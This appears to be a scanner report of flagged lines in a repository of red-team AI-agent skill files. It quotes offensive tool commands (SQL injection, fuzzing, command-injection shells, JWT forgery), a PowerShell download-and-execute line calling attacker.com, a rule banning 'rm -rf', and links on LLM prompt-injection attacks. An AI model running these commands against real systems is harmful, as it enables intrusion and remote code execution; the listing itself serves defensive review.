    apt install sqlmap / pip install sqlmap Representative Commands: - 基础测试: `sqlmap -u "http://target.com/page?id=1"`
  • Network accessline 13
    Representative Commands: - 基础测试: `sqlmap -u "http://target.com/page?id=1"` - 指定参数测试: `sqlmap -u "http://target.com/page?id=1&name=test" -p id`
  • Network accessline 14
    - 基础测试: `sqlmap -u "http://target.com/page?id=1"`
  • Network accessline 15
    - 指定参数测试: `sqlmap -u "http://target.com/page?id=1&name=test" -p id`
  • Network accessline 16
    - POST请求测试: `sqlmap -u "http://target.com/login" --data="user=admin&pass=123"`
  • Network accessline 17
    - 使用Cookie: `sqlmap -u "http://target.com/page?id=1" --cookie="PHPSESSID=xxx"`
  • Network accessline 18
    - 指定数据库类型: `sqlmap -u "http://target.com/page?id=1" --dbms=mysql`
  • Network accessline 19
    External References: - https://github.com/sqlmapproject/sqlmap/wiki/Usage ## Burp Suite
  • Network accessline 20
    - https://github.com/sqlmapproject/sqlmap/wiki/Usage
  • Network accessline 37
    Cluster bomb: 多个payload组合` External References: - https://portswigger.net/burp/documentation
  • Network accessline 38
    External References: - https://portswigger.net/burp/documentation ## FFUF
  • Network accessline 39
    - https://portswigger.net/burp/documentation
  • Network accessline 47
    go install github.com/ffuf/ffuf/v2@latest Representative Commands: - 目录爆破: `ffuf -u http://target.com/FUZZ -w wordlist.txt`
  • Network accessline 48
    Representative Commands: - 目录爆破: `ffuf -u http://target.com/FUZZ -w wordlist.txt` - 指定扩展名: `ffuf -u http://target.com/FUZZ -w wordlist.txt -e .php,.html,.txt`
  • Network accessline 49
    - 目录爆破: `ffuf -u http://target.com/FUZZ -w wordlist.txt`
  • Network accessline 50
    - 指定扩展名: `ffuf -u http://target.com/FUZZ -w wordlist.txt -e .php,.html,.txt`
  • Network accessline 51
    - 参数模糊测试: `ffuf -u http://target.com/?param=FUZZ -w wordlist.txt`
  • Network accessline 52
    - POST测试: `ffuf -u http://target.com -X POST -d "user=FUZZ&pass=test" -w wordlist.txt`
  • Network accessline 53
    - Header测试: `ffuf -u http://target.com -H "Host: FUZZ.target.com" -w wordlist.txt`
  • Network accessline 54
    External References: - https://github.com/ffuf/ffuf ## WFuzz
  • Network accessline 55
    - https://github.com/ffuf/ffuf
  • Network accessline 63
    pip install wfuzz Representative Commands: - 目录爆破: `wfuzz -c -w wordlist.txt http://target.com/FUZZ`
  • Network accessline 64
    Representative Commands: - 目录爆破: `wfuzz -c -w wordlist.txt http://target.com/FUZZ` - 过滤响应: `wfuzz -c -w wordlist.txt --hc 404 http://target.com/FUZZ`
  • Network accessline 65
    - 目录爆破: `wfuzz -c -w wordlist.txt http://target.com/FUZZ`
  • Network accessline 66
    - 过滤响应: `wfuzz -c -w wordlist.txt --hc 404 http://target.com/FUZZ`
  • Network accessline 67
    - POST测试: `wfuzz -c -w wordlist.txt -d "user=FUZZ&pass=test" http://target.com/login`
  • Network accessline 68
    - Cookie测试: `wfuzz -c -w wordlist.txt -b "session=FUZZ" http://target.com/`
  • Network accessline 69
    - Header测试: `wfuzz -c -w wordlist.txt -H "Host: FUZZ.target.com" http://target.com/`
  • Network accessline 70
    External References: - https://github.com/xmendez/wfuzz ## Nikto
  • Network accessline 71
    - https://github.com/xmendez/wfuzz
  • Network accessline 77
    Web服务器漏洞扫描器,检测危险文件、过时组件和配置问题 Installation: apt install nikto / git clone https://github.com/sullo/nikto
  • Network accessline 78
    Installation: apt install nikto / git clone https://github.com/sullo/nikto Representative Commands:
  • Network accessline 79
    apt install nikto / git clone https://github.com/sullo/nikto
  • Network accessline 80
    Representative Commands: - 基础扫描: `nikto -h https://target.com` - 指定端口和SSL: `nikto -h target.com -p 8443 -ssl`
  • Network accessline 81
    - 基础扫描: `nikto -h https://target.com`
  • Network accessline 82
    - 指定端口和SSL: `nikto -h target.com -p 8443 -ssl` - 使用代理: `nikto -h target.com -useproxy http://127.0.0.1:8080` - 指定测试插件: `nikto -h target.com -Plugins "apache_expect_xss;outdated"`
  • Network accessline 83
    - 使用代理: `nikto -h target.com -useproxy http://127.0.0.1:8080`
  • Network accessline 85
    - 输出报告: `nikto -h target.com -o report.html -Format htm` External References: - https://github.com/sullo/nikto
  • Network accessline 86
    External References: - https://github.com/sullo/nikto ## OWASP ZAP
  • Network accessline 87
    - https://github.com/sullo/nikto
  • Network accessline 93
    OWASP官方Web应用安全测试平台 Installation: 下载: https://www.zaproxy.org/download/ / snap install zaproxy / docker pull ghcr.io/zaproxy/zaproxy
  • Network accessline 94
    Installation: 下载: https://www.zaproxy.org/download/ / snap install zaproxy / docker pull ghcr.io/zaproxy/zaproxy Representative Commands:
  • Network accessline 95
    下载: https://www.zaproxy.org/download/ / snap install zaproxy / docker pull ghcr.io/zaproxy/zaproxy
  • Network accessline 96
    Representative Commands: - 自动扫描: `zap-cli quick-scan -s all -r https://target.com # 或使用API
  • Network accessline 97
    - 自动扫描: `zap-cli quick-scan -s all -r https://target.com # 或使用API curl "http://localhost:8080/JSON/ascan/action/scan/?url=https://target.com"`
  • Network accessline 98
    # 或使用API curl "http://localhost:8080/JSON/ascan/action/scan/?url=https://target.com"` - API扫描: `zap-api-scan.py -t https://target.com/api/swagger.json -f openapi`
  • Network accessline 99
    curl "http://localhost:8080/JSON/ascan/action/scan/?url=https://target.com"`
  • Network accessline 100
    - API扫描: `zap-api-scan.py -t https://target.com/api/swagger.json -f openapi`
  • Network accessline 102
    # 浏览器配置代理后正常浏览 # ZAP自动进行被动漏洞检测` - Docker自动化: `docker run -t ghcr.io/zaproxy/zaproxy zap-baseline.py -t https://target.com -r report.html`
  • Network accessline 103
    # ZAP自动进行被动漏洞检测` - Docker自动化: `docker run -t ghcr.io/zaproxy/zaproxy zap-baseline.py -t https://target.com -r report.html` External References:
  • Network accessline 104
    - Docker自动化: `docker run -t ghcr.io/zaproxy/zaproxy zap-baseline.py -t https://target.com -r report.html`
  • Network accessline 105
    External References: - https://www.zaproxy.org/ ## Arjun
  • Network accessline 106
    - https://www.zaproxy.org/
  • Network accessline 114
    pip3 install arjun Representative Commands: - GET参数发现: `arjun -u https://target.com/page`
  • Network accessline 115
    Representative Commands: - GET参数发现: `arjun -u https://target.com/page` - POST参数发现: `arjun -u https://target.com/api -m POST --include="Content-Type: application/json"`
  • Network accessline 116
    - GET参数发现: `arjun -u https://target.com/page`
  • Network accessline 117
    - POST参数发现: `arjun -u https://target.com/api -m POST --include="Content-Type: application/json"`
  • Network accessline 118
    - 自定义字典: `arjun -u https://target.com -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt`
  • Network accessline 119
    - 批量扫描: `arjun -i urls.txt -o results.json --stable` External References: - https://github.com/s0md3v/Arjun
  • Network accessline 120
    External References: - https://github.com/s0md3v/Arjun ## WFuzz
  • Network accessline 121
    - https://github.com/s0md3v/Arjun
  • Network accessline 129
    pip3 install wfuzz Representative Commands: - 目录Fuzz: `wfuzz -c -z file,/usr/share/wordlists/dirb/big.txt --hc 404 https://target.com/FUZZ`
  • Network accessline 130
    Representative Commands: - 目录Fuzz: `wfuzz -c -z file,/usr/share/wordlists/dirb/big.txt --hc 404 https://target.com/FUZZ` - 参数Fuzz: `wfuzz -c -z file,params.txt --hh 0 "https://target.com/api?FUZZ=test"`
  • Network accessline 131
    - 目录Fuzz: `wfuzz -c -z file,/usr/share/wordlists/dirb/big.txt --hc 404 https://target.com/FUZZ`
  • Network accessline 132
    - 参数Fuzz: `wfuzz -c -z file,params.txt --hh 0 "https://target.com/api?FUZZ=test"`
  • Network accessline 133
    - 认证爆破: `wfuzz -c -z file,users.txt -z file,passwords.txt --hc 403 -d "user=FUZZ&pass=FUZ2Z" https://target.com/login`
  • Network accessline 134
    - 子域名Fuzz: `wfuzz -c -z file,subs.txt --hc 404 -H "Host: FUZZ.target.com" https://target.com`
  • Network accessline 135
    External References: - https://github.com/xmendez/wfuzz ## Commix
  • Network accessline 136
    - https://github.com/xmendez/wfuzz
  • Network accessline 142
    自动化命令注入漏洞检测和利用工具 Installation: apt install commix / pip3 install commix / git clone https://github.com/commixproject/commix
  • Network accessline 143
    Installation: apt install commix / pip3 install commix / git clone https://github.com/commixproject/commix Representative Commands:
  • Network accessline 144
    apt install commix / pip3 install commix / git clone https://github.com/commixproject/commix
  • Network accessline 145
    Representative Commands: - 自动检测: `commix --url="https://target.com/page?cmd=test"` - 指定参数: `commix --url="https://target.com/api" --data="host=INJECT_HERE" -p host`
  • Network accessline 146
    - 自动检测: `commix --url="https://target.com/page?cmd=test"`
  • Network accessline 147
    - 指定参数: `commix --url="https://target.com/api" --data="host=INJECT_HERE" -p host`
  • Network accessline 148
    - 获取Shell: `commix --url="https://target.com/page?ip=test" --os-cmd="id"
  • Network accessline 149
    commix --url="https://target.com/page?ip=test" --os-shell`
  • Network accessline 150
    - 绕过WAF: `commix --url="https://target.com/page?cmd=test" --tamper=base64encode --technique=t`
  • Network accessline 151
    External References: - https://github.com/commixproject/commix ## Dalfox
  • Network accessline 152
    - https://github.com/commixproject/commix
  • Network accessline 160
    go install github.com/hahwul/dalfox/v2@latest Representative Commands: - URL扫描: `dalfox url "https://target.com/search?q=test"`
  • Network accessline 161
    Representative Commands: - URL扫描: `dalfox url "https://target.com/search?q=test"` - 管道批量: `cat urls.txt | dalfox pipe --silence --only-poc`
  • Network accessline 162
    - URL扫描: `dalfox url "https://target.com/search?q=test"`
  • Network accessline 163
    - 管道批量: `cat urls.txt | dalfox pipe --silence --only-poc` - 自定义Payload: `dalfox url "https://target.com/q=test" --custom-payload payloads.txt --waf-evasion` - Blind XSS: `dalfox url "https://target.com/q=test" --blind https://your-xss-hunte
  • Network accessline 164
    - 自定义Payload: `dalfox url "https://target.com/q=test" --custom-payload payloads.txt --waf-evasion`
  • Network accessline 165
    - Blind XSS: `dalfox url "https://target.com/q=test" --blind https://your-xss-hunter.com`
  • Network accessline 166
    External References: - https://github.com/hahwul/dalfox ## XSStrike
  • Network accessline 167
    - https://github.com/hahwul/dalfox
  • Network accessline 173
    高级XSS检测工具,支持反射/存储/DOM型XSS检测 Installation: git clone https://github.com/s0md3v/XSStrike && pip3 install -r requirements.txt
  • Network accessline 174
    Installation: git clone https://github.com/s0md3v/XSStrike && pip3 install -r requirements.txt Representative Commands:
  • Network accessline 175
    git clone https://github.com/s0md3v/XSStrike && pip3 install -r requirements.txt
  • Network accessline 176
    Representative Commands: - 基础扫描: `python3 xsstrike.py -u "https://target.com/search?q=test"` - POST方式: `python3 xsstrike.py -u "https://target.com/comment" --data "content=test" --method POST`
  • Network accessline 177
    - 基础扫描: `python3 xsstrike.py -u "https://target.com/search?q=test"`
  • Network accessline 178
    - POST方式: `python3 xsstrike.py -u "https://target.com/comment" --data "content=test" --method POST`
  • Network accessline 179
    - 模糊测试: `python3 xsstrike.py -u "https://target.com/q=test" --fuzzer`
  • Network accessline 180
    - 爬虫模式: `python3 xsstrike.py -u "https://target.com" --crawl -l 3`
  • Network accessline 181
    External References: - https://github.com/s0md3v/XSStrike ## Gopherus
  • Network accessline 182
    - https://github.com/s0md3v/XSStrike
  • Network accessline 188
    生成Gopher协议Payload,用于SSRF攻击内部服务 Installation: git clone https://github.com/tarunkant/Gopherus && pip install -r requirements.txt
  • Network accessline 189
    Installation: git clone https://github.com/tarunkant/Gopherus && pip install -r requirements.txt Representative Commands:
  • Network accessline 190
    git clone https://github.com/tarunkant/Gopherus && pip install -r requirements.txt
  • Network accessline 198
    - SMTP Payload: `python2 gopherus.py --exploit smtp` External References: - https://github.com/tarunkant/Gopherus
  • Network accessline 199
    External References: - https://github.com/tarunkant/Gopherus ## Smuggler
  • Network accessline 200
    - https://github.com/tarunkant/Gopherus
  • Network accessline 206
    HTTP请求走私漏洞检测工具 Installation: git clone https://github.com/defparam/smuggler && pip3 install -r requirements.txt
  • Network accessline 207
    Installation: git clone https://github.com/defparam/smuggler && pip3 install -r requirements.txt Representative Commands:
  • Network accessline 208
    git clone https://github.com/defparam/smuggler && pip3 install -r requirements.txt
  • Network accessline 209
    Representative Commands: - 自动检测: `python3 smuggler.py -u https://target.com` - 指定技术: `python3 smuggler.py -u https://target.com -t CL.TE`
  • Network accessline 210
    - 自动检测: `python3 smuggler.py -u https://target.com`
  • Network accessline 211
    - 指定技术: `python3 smuggler.py -u https://target.com -t CL.TE`
  • Network accessline 212
    - 批量测试: `cat urls.txt | python3 smuggler.py` External References: - https://github.com/defparam/smuggler
  • Network accessline 213
    External References: - https://github.com/defparam/smuggler ## JWT Tool
  • Network accessline 214
    - https://github.com/defparam/smuggler
  • Network accessline 220
    JSON Web Token安全测试工具,支持伪造/破解/注入 Installation: pip3 install jwt_tool / git clone https://github.com/ticarpi/jwt_tool
  • Network accessline 221
    Installation: pip3 install jwt_tool / git clone https://github.com/ticarpi/jwt_tool Representative Commands:
  • Network accessline 222
    pip3 install jwt_tool / git clone https://github.com/ticarpi/jwt_tool
  • Network accessline 223
    [Credential-related source omitted]
  • Network accessline 224
    [Credential-related source omitted]
  • Network accessline 225
    [Credential-related source omitted]
  • Network accessline 228
    - 伪造Token: `jwt_tool eyJhbGciOi... -S hs256 -p "secret_key" -I -pc role -pv admin` External References: - https://github.com/ticarpi/jwt_tool
  • Network accessline 229
    External References: - https://github.com/ticarpi/jwt_tool ## GraphQLmap
  • Network accessline 230
    - https://github.com/ticarpi/jwt_tool
  • Network accessline 236
    GraphQL API渗透测试工具,支持自省查询和注入 Installation: git clone https://github.com/swisskyrepo/GraphQLmap && pip3 install -r requirements.txt
  • Network accessline 237
    Installation: git clone https://github.com/swisskyrepo/GraphQLmap && pip3 install -r requirements.txt Representative Commands:
  • Network accessline 238
    git clone https://github.com/swisskyrepo/GraphQLmap && pip3 install -r requirements.txt
  • Network accessline 239
    Representative Commands: - 自省查询: `python3 graphqlmap.py -u https://target.com/graphql --method POST -x dump_schema` - 字段枚举: `python3 graphqlmap.py -u https://target.com/graphql --method POST -x enum`
  • Network accessline 240
    - 自省查询: `python3 graphqlmap.py -u https://target.com/graphql --method POST -x dump_schema`
  • Network accessline 241
    - 字段枚举: `python3 graphqlmap.py -u https://target.com/graphql --method POST -x enum`
  • Network accessline 242
    - SQL注入: `python3 graphqlmap.py -u https://target.com/graphql --method POST -x nosqli`
  • Network accessline 243
    External References: - https://github.com/swisskyrepo/GraphQLmap ## Cadaver
  • Network accessline 244
    - https://github.com/swisskyrepo/GraphQLmap
  • Network accessline 252
    apt install cadaver Representative Commands: - 连接WebDAV: `cadaver https://target.com/webdav/`
  • Network accessline 253
    Representative Commands: - 连接WebDAV: `cadaver https://target.com/webdav/` - 上传文件: `# 在cadaver交互式Shell中:
  • Network accessline 254
    - 连接WebDAV: `cadaver https://target.com/webdav/`
  • Network accessline 261
    mget *.bak` External References: - https://github.com/notroj/cadaver
  • Network accessline 263
    - https://github.com/notroj/cadaver

deepsec/spear/skills/specialized/pentest-tools/references/tools-reference-14-windows-penetration.md

  • Network accessline 11
    Representative Commands: - 执行策略绕过: `powershell -ExecutionPolicy Bypass -File script.ps1` - 远程下载执行: `IEX (New-Object Net.WebClient).DownloadString("http://attacker.com/script.ps1")`
  • Network accessline 12
    - 执行策略绕过: `powershell -ExecutionPolicy Bypass -File script.ps1` - 远程下载执行: `IEX (New-Object Net.WebClient).DownloadString("http://attacker.com/script.ps1")` - 编码执行: `powershell -EncodedCommand BASE64_ENCODED_COMMAND`
  • Network accessline 13
    - 远程下载执行: `IEX (New-Object Net.WebClient).DownloadString("http://attacker.com/script.ps1")`
  • Network accessline 19
    Get-WmiObject Win32_Process | Select-Object Name,ProcessId,CommandLine` External References: - https://github.com/darkoperator/Posh-SecMod
  • Network accessline 21
    - https://github.com/darkoperator/Posh-SecMod

deepsec/spear/skills/specialized/rapid-checklist/references/testing-methodology.md

  • Access to secretsline 119
    [Credential-related source omitted]
  • Access to secretsline 352
    [Credential-related source omitted]
  • Network accessline 533
    > 官方地址: https://genai.owasp.org/resource/owasp-top-10-for-llm-applications-2025/
  • Network accessline 550
    > 官方地址: https://genai.owasp.org/resource/agentic-ai/
  • Network accessline 567
    > 官方地址: https://owasp.org/www-project-web-security-testing-guide/

deepsec/spear/skills/specialized/redteam-ad-detail-pack/references/upstream-source.md

  • Network accessline 3
    Imported from `https://github.com/chAng-L19/codex-redteam-mode/`.

deepsec/spear/skills/specialized/redteam-api-detail-pack/references/upstream-source.md

  • Network accessline 3
    Imported from `https://github.com/chAng-L19/codex-redteam-mode/`.

deepsec/spear/skills/specialized/redteam-auth-detail-pack/references/upstream-source.md

  • Network accessline 3
    Imported from `https://github.com/chAng-L19/codex-redteam-mode/`.

deepsec/spear/skills/specialized/redteam-cache-poison-detail-pack/references/upstream-source.md

  • Network accessline 3
    Imported from `https://github.com/chAng-L19/codex-redteam-mode/`.

deepsec/spear/skills/specialized/redteam-clickjacking-detail-pack/references/upstream-source.md

  • Network accessline 3
    Imported from `https://github.com/chAng-L19/codex-redteam-mode/`.

deepsec/spear/skills/specialized/redteam-cloud-detail-pack/references/upstream-source.md

  • Network accessline 3
    Imported from `https://github.com/chAng-L19/codex-redteam-mode/`.

deepsec/spear/skills/specialized/redteam-cmdi-detail-pack/SKILL.md

  • Dangerous shell operationline 31
    - 不得执行 rm -rf / format 等破坏性系统命令

deepsec/spear/skills/specialized/redteam-cmdi-detail-pack/references/upstream-source.md

  • Network accessline 3
    Imported from `https://github.com/chAng-L19/codex-redteam-mode/`.

deepsec/spear/skills/specialized/redteam-code-audit-detail-pack/references/upstream-source.md

  • Network accessline 3
    Imported from `https://github.com/chAng-L19/codex-redteam-mode/`.

deepsec/spear/skills/specialized/redteam-container-detail-pack/references/upstream-source.md

  • Network accessline 3
    Imported from `https://github.com/chAng-L19/codex-redteam-mode/`.

deepsec/spear/skills/specialized/redteam-cors-miscfg-detail-pack/references/upstream-source.md

  • Network accessline 3
    Imported from `https://github.com/chAng-L19/codex-redteam-mode/`.

deepsec/spear/skills/specialized/redteam-crypto-detail-pack/references/upstream-source.md

  • Network accessline 3
    Imported from `https://github.com/chAng-L19/codex-redteam-mode/`.

deepsec/spear/skills/specialized/redteam-csrf-detail-pack/references/upstream-source.md

  • Network accessline 3
    Imported from `https://github.com/chAng-L19/codex-redteam-mode/`.

deepsec/spear/skills/specialized/redteam-cve-lookup/references/upstream-source.md

  • Network accessline 3
    Imported from `https://github.com/chAng-L19/codex-redteam-mode/`.

deepsec/spear/skills/specialized/redteam-cve-validation/references/upstream-source.md

  • Network accessline 3
    Imported from `https://github.com/chAng-L19/codex-redteam-mode/`.

deepsec/spear/skills/specialized/redteam-deserialize-detail-pack/references/upstream-source.md

  • Network accessline 3
    Imported from `https://github.com/chAng-L19/codex-redteam-mode/`.

deepsec/spear/skills/specialized/redteam-evasion-detail-pack/references/upstream-source.md

  • Network accessline 3
    Imported from `https://github.com/chAng-L19/codex-redteam-mode/`.

deepsec/spear/skills/specialized/redteam-file-detail-pack/references/upstream-source.md

  • Network accessline 3
    Imported from `https://github.com/chAng-L19/codex-redteam-mode/`.

deepsec/spear/skills/specialized/redteam-injection-detail-pack/references/upstream-source.md

  • Network accessline 3
    Imported from `https://github.com/chAng-L19/codex-redteam-mode/`.

deepsec/spear/skills/specialized/redteam-logic-detail-pack/references/upstream-source.md

  • Network accessline 3
    Imported from `https://github.com/chAng-L19/codex-redteam-mode/`.

deepsec/spear/skills/specialized/redteam-mobile-detail-pack/SKILL.md

  • Access to secretsline 18
    [Credential-related source omitted]

deepsec/spear/skills/specialized/redteam-mobile-detail-pack/references/upstream-source.md

  • Network accessline 3
    Imported from `https://github.com/chAng-L19/codex-redteam-mode/`.

deepsec/spear/skills/specialized/redteam-network-detail-pack/references/upstream-source.md

  • Network accessline 3
    Imported from `https://github.com/chAng-L19/codex-redteam-mode/`.

deepsec/spear/skills/specialized/redteam-open-redirect-detail-pack/references/upstream-source.md

  • Network accessline 3
    Imported from `https://github.com/chAng-L19/codex-redteam-mode/`.

deepsec/spear/skills/specialized/redteam-payload-detail-pack/references/upstream-source.md

  • Network accessline 3
    Imported from `https://github.com/chAng-L19/codex-redteam-mode/`.

deepsec/spear/skills/specialized/redteam-postex-detail-pack/references/upstream-source.md

  • Network accessline 3
    Imported from `https://github.com/chAng-L19/codex-redteam-mode/`.

deepsec/spear/skills/specialized/redteam-recon-detail-pack/references/upstream-source.md

  • Network accessline 3
    Imported from `https://github.com/chAng-L19/codex-redteam-mode/`.

deepsec/spear/skills/specialized/redteam-recon-intake/references/upstream-source.md

  • Network accessline 3
    Imported from `https://github.com/chAng-L19/codex-redteam-mode/`.

deepsec/spear/skills/specialized/redteam-reverse-detail-pack/references/upstream-source.md

  • Network accessline 3
    Imported from `https://github.com/chAng-L19/codex-redteam-mode/`.

deepsec/spear/skills/specialized/redteam-sqli-detail-pack/references/upstream-source.md

  • Network accessline 3
    Imported from `https://github.com/chAng-L19/codex-redteam-mode/`.

deepsec/spear/skills/specialized/redteam-ssrf-detail-pack/references/upstream-source.md

  • Network accessline 3
    Imported from `https://github.com/chAng-L19/codex-redteam-mode/`.

deepsec/spear/skills/specialized/redteam-ssti-detail-pack/references/upstream-source.md

  • Network accessline 3
    Imported from `https://github.com/chAng-L19/codex-redteam-mode/`.

deepsec/spear/skills/specialized/redteam-subdomain-takeover-detail-pack/references/upstream-source.md

  • Network accessline 3
    Imported from `https://github.com/chAng-L19/codex-redteam-mode/`.

deepsec/spear/skills/specialized/redteam-web-detail-pack/references/upstream-source.md

  • Network accessline 3
    Imported from `https://github.com/chAng-L19/codex-redteam-mode/`.

deepsec/spear/skills/specialized/redteam-xss-detail-pack/references/upstream-source.md

  • Network accessline 3
    Imported from `https://github.com/chAng-L19/codex-redteam-mode/`.

deepsec/spear/skills/specialized/redteam-xxe-detail-pack/references/upstream-source.md

  • Network accessline 3
    Imported from `https://github.com/chAng-L19/codex-redteam-mode/`.

deepsec/spear/skills/specialized/secknowledge-skill/references/ai-app-agent-cot.md

  • Network accessline 66
    http://youtube.com/watch?v=7ZA0Z1R-MjQ
  • Network accessline 67
    http://youtube.com/watch?v=KksYizcLFH0
  • Network accessline 121
    https://owasp.org/www-project-top-10-for-large-language-model-applications/Archive/0_1_vulns/SSRF.html
  • Network accessline 175
    https://owasp.org/www-project-top-10-for-large-language-model-applications/Archive/0_1_vulns/Unauthorized_Code_Execution.html
  • Network accessline 176
    https://www.calvin-risk.com/blog/decoding-llm-risks-a-comprehensive-look-at-unauthorized-code-execution
  • Network accessline 254
    https://portswigger.net/web-security/llm-attacks
  • Network accessline 302
    https://labs.withsecure.com/publications/llm-agent-prompt-injection
  • Network accessline 354
    https://labs.withsecure.com/publications/llm-agent-prompt-injection
  • Network accessline 402
    http://youtube.com/watch?v=7ZA0Z1R-MjQ
  • Network accessline 403
    http://youtube.com/watch?v=KksYizcLFH0
  • Network accessline 465
    https://mp.weixin.qq.com/s/9JwADiu9t3kqcfqnRMC2zQ
  • Network accessline 466
    https://finance.sina.com.cn/tech/digi/2025-06-01/doc-ineypqvh0855918.shtml
  • Network accessline 467
    https://zhuanlan.zhihu.com/p/1900540531131523166

deepsec/spear/skills/specialized/secknowledge-skill/references/ai-app-deploy.md

  • Network accessline 97
    https://drive.google.com/file/d/1CTVcliUblX35cWfB49Xjhf8xk-fM3QH1/edit?pli=1
  • Network accessline 151
    https://analyticsindiamag.com/metas-llama-leaked-to-the-public-thanks-to-4chan/
  • Network accessline 152
    https://knightcolumbia.org/blog/the-llama-is-out-of-the-bag-should-we-expect-a-tidal-wave-of-disinformation

deepsec/spear/skills/specialized/secknowledge-skill/references/ai-app-mcp.md

  • Access to secretsline 31
    [Credential-related source omitted]
  • Network accessline 64
    https://invariantlabs.ai/blog/mcp-security-notification-tool-poisoning-attacks
  • Network accessline 65
    https://atlas.mitre.org/techniques/AML.T0051
  • Network accessline 66
    https://github.com/invariantlabs-ai/mcp-injection-experiments
  • Network accessline 127
    https://invariantlabs.ai/blog/mcp-security-notification-tool-poisoning-attacks
  • Network accessline 128
    https://mp.weixin.qq.com/s/EJLb1IwqbPF3VSDkJu099g
  • Network accessline 129
    https://x.com/hongming731/status/1922261630664245326
  • Network accessline 130
    https://news.qq.com/rain/a/20250429A07QY000
  • Network accessline 191
    https://blog.trailofbits.com/2025/04/21/jumping-the-line-how-mcp-servers-can-attack-you-before-you-ever-use-them/
  • Network accessline 192
    https://blog.trailofbits.com/2025/04/29/deceiving-users-with-ansi-terminal-codes-in-mcp/
  • Network accessline 258
    https://blog.trailofbits.com/2025/04/29/deceiving-users-with-ansi-terminal-codes-in-mcp/
  • Network accessline 259
    https://www.solo.io/blog/deep-dive-mcp-and-a2a-attack-vectors-for-ai-agents

deepsec/spear/skills/specialized/secknowledge-skill/references/ai-app-prompt.md

  • Network accessline 66
    https://aclanthology.org/2024.scalellm-1.2/
  • Network accessline 67
    https://atlas.mitre.org/techniques/AML.T0051
  • Network accessline 68
    https://josephthacker.com/ai/2023/05/19/prompt-injection-poc.html
  • Network accessline 69
    https://simonwillison.net/2022/Sep/12/prompt-injection/
  • Network accessline 146
    https://systemweakness.com/new-prompt-injection-attack-on-chatgpt-web-version-ef717492c5c2
  • Network accessline 203
    https://atlas.mitre.org/techniques/AML.T0051.001
  • Network accessline 204
    https://twitter.com/random_walker/status/1636923058370891778
  • Network accessline 205
    https://medium.com/@harry.hphu/introduction-to-web-llm-attacks-indirect-prompt-injection-7bb9f154bc07
  • Network accessline 206
    https://medium.com/@dinob5551/indirect-prompt-injection-the-hidden-threat-lurking-in-ai-730b009dd5fb
  • Network accessline 246
    https://embracethered.com/blog/posts/2024/chatgpt-persistent-denial-of-service/
  • Network accessline 247
    https://openai.com/index/memory-and-new-controls-for-chatgpt/
  • Network accessline 298
    https://mp.weixin.qq.com/s/2bm7nuXkORLZ20mfpOmwrA
  • Network accessline 448
    https://promptengineering.org/mind-over-malware-battling-the-growing-arsenal-of-attacks-on-large-language-models/
  • Network accessline 449
    https://www.toolify.ai/ai-news/the-future-of-hacking-5-terrifying-llm-security-threats-544868
  • Network accessline 488
    https://mp.weixin.qq.com/s/eFDQWYYCOe_SSiourhTxig
  • Network accessline 533
    https://arxiv.org/html/2402.16914v1

deepsec/spear/skills/specialized/secknowledge-skill/references/ai-app-train.md

  • Network accessline 55
    https://genai.owasp.org/wp-content/uploads/2024/05/OWASP-Top-10-for-LLM-Applications-v1_1_Chinese.pdf
  • Network accessline 56
    https://cloud.baidu.com/article/3253170
  • Network accessline 57
    https://www.akto.io/blog/insecure-output-handling-in-llms-insights
  • Network accessline 58
    https://journal.hexmos.com/insecure-output-handling/
  • Network accessline 59
    https://systemweakness.com/new-prompt-injection-attack-on-chatgpt-web-version-ef717492c5c2
  • Network accessline 112
    https://sec.cafe/handbook/security_research/ai_security/llm_security/attack/
  • Network accessline 157
    https://owasp.org/www-project-top-10-for-large-language-model-applications/Archive/0_1_vulns/SSRF.html
  • Network accessline 158
    https://www.horizon3.ai/attack-research/attack-blogs/nextchat-an-ai-chatbot-that-lets-you-talk-to-anyone-you-want-to/
  • Network accessline 159
    https://genai.owasp.org/wp-content/uploads/2024/05/OWASP-Top-10-for-LLM-Applications-v1_1_Chinese.pdf
  • Network accessline 203
    https://genai.owasp.org/wp-content/uploads/2024/05/OWASP-Top-10-for-LLM-Applications-v1_1_Chinese.pdf
  • Network accessline 253
    https://www.wehelpwin.com/article/5063
  • Network accessline 254
    https://medium.com/nfactor-technologies/rag-poisoning-an-emerging-threat-in-ai-systems-660f9ff279f9
  • Network accessline 255
    https://ironcorelabs.com/security-risks-rag/
  • Network accessline 311
    https://arxiv.org/html/2312.04724v1
  • Network accessline 357
    https://security.tencent.com/index.php/blog/msg/209
  • Network accessline 422
    https://hiddenlayer.com/research/insane-in-the-supply-chain/

deepsec/spear/skills/specialized/secknowledge-skill/references/ai-baseline-app.md

  • Network accessline 66
    https://atlas.mitre.org/techniques/AML.T0029
  • Network accessline 67
    https://owasp.org/www-project-top-10-for-large-language-model-applications/assets/PDF/OWASP-Top-10-for-LLMs-2023-v05.pdf
  • Network accessline 68
    https://www.cnblogs.com/LittleHann/p/17596696.html
  • Network accessline 118
    https://blog.securelayer7.net/owasp-top10-for-large-language-models/
  • Network accessline 119
    https://www.mufeedvh.com/llm-security/#2-sandboxing-extended-llms
  • Network accessline 120
    https://owasp.org/www-project-top-10-for-large-language-model-applications/Archive/0_1_vulns/Inadequate_Sandboxing.html
  • Network accessline 177
    https://mp.weixin.qq.com/s/tf4ljSJ0Ue0YniojWhYMKg
  • Network accessline 178
    https://www.wiz.io/blog/wiz-and-hugging-face-address-risks-to-ai-infrastructure
  • Network accessline 228
    https://pradiptabanerjee.medium.com/confidential-containers-for-large-language-models-42477436345a
  • Network accessline 231
    https://www.run.ai/guides/kubernetes-architecture/securing-your-ai-ml-kubernetes-environment
  • Network accessline 276
    https://mp.weixin.qq.com/s/Ry1PoZLfPvw6Lj8bz14mgw

deepsec/spear/skills/specialized/secknowledge-skill/references/ai-baseline-deploy.md

  • Network accessline 69
    https://github.com/knownsec/KCon/blob/master/2023/CICD%E6%94%BB%E5%87%BB%E5%9C%BA%E6%99%AF.pdf
  • Network accessline 114
    https://xie.infoq.cn/article/536a3e7e776eb32b38d1a9747
  • Network accessline 115
    https://www.helloaliyun.com/tutorial/1039.html
  • Network accessline 116
    https://support.huaweicloud.com/usermanual-gaussdbformysql/gaussdbformysql_05_0347.html
  • Network accessline 165
    https://developer.aliyun.com/article/1430094
  • Network accessline 232
    https://pradiptabanerjee.medium.com/confidential-containers-for-large-language-models-42477436345a
  • Network accessline 289
    https://ironcorelabs.com/security-risks-rag/
  • Network accessline 338
    https://www.securityweek.com/chatgpt-data-breach-confirmed-as-security-firm-warns-of-vulnerable-component-exploitation/
  • Network accessline 392
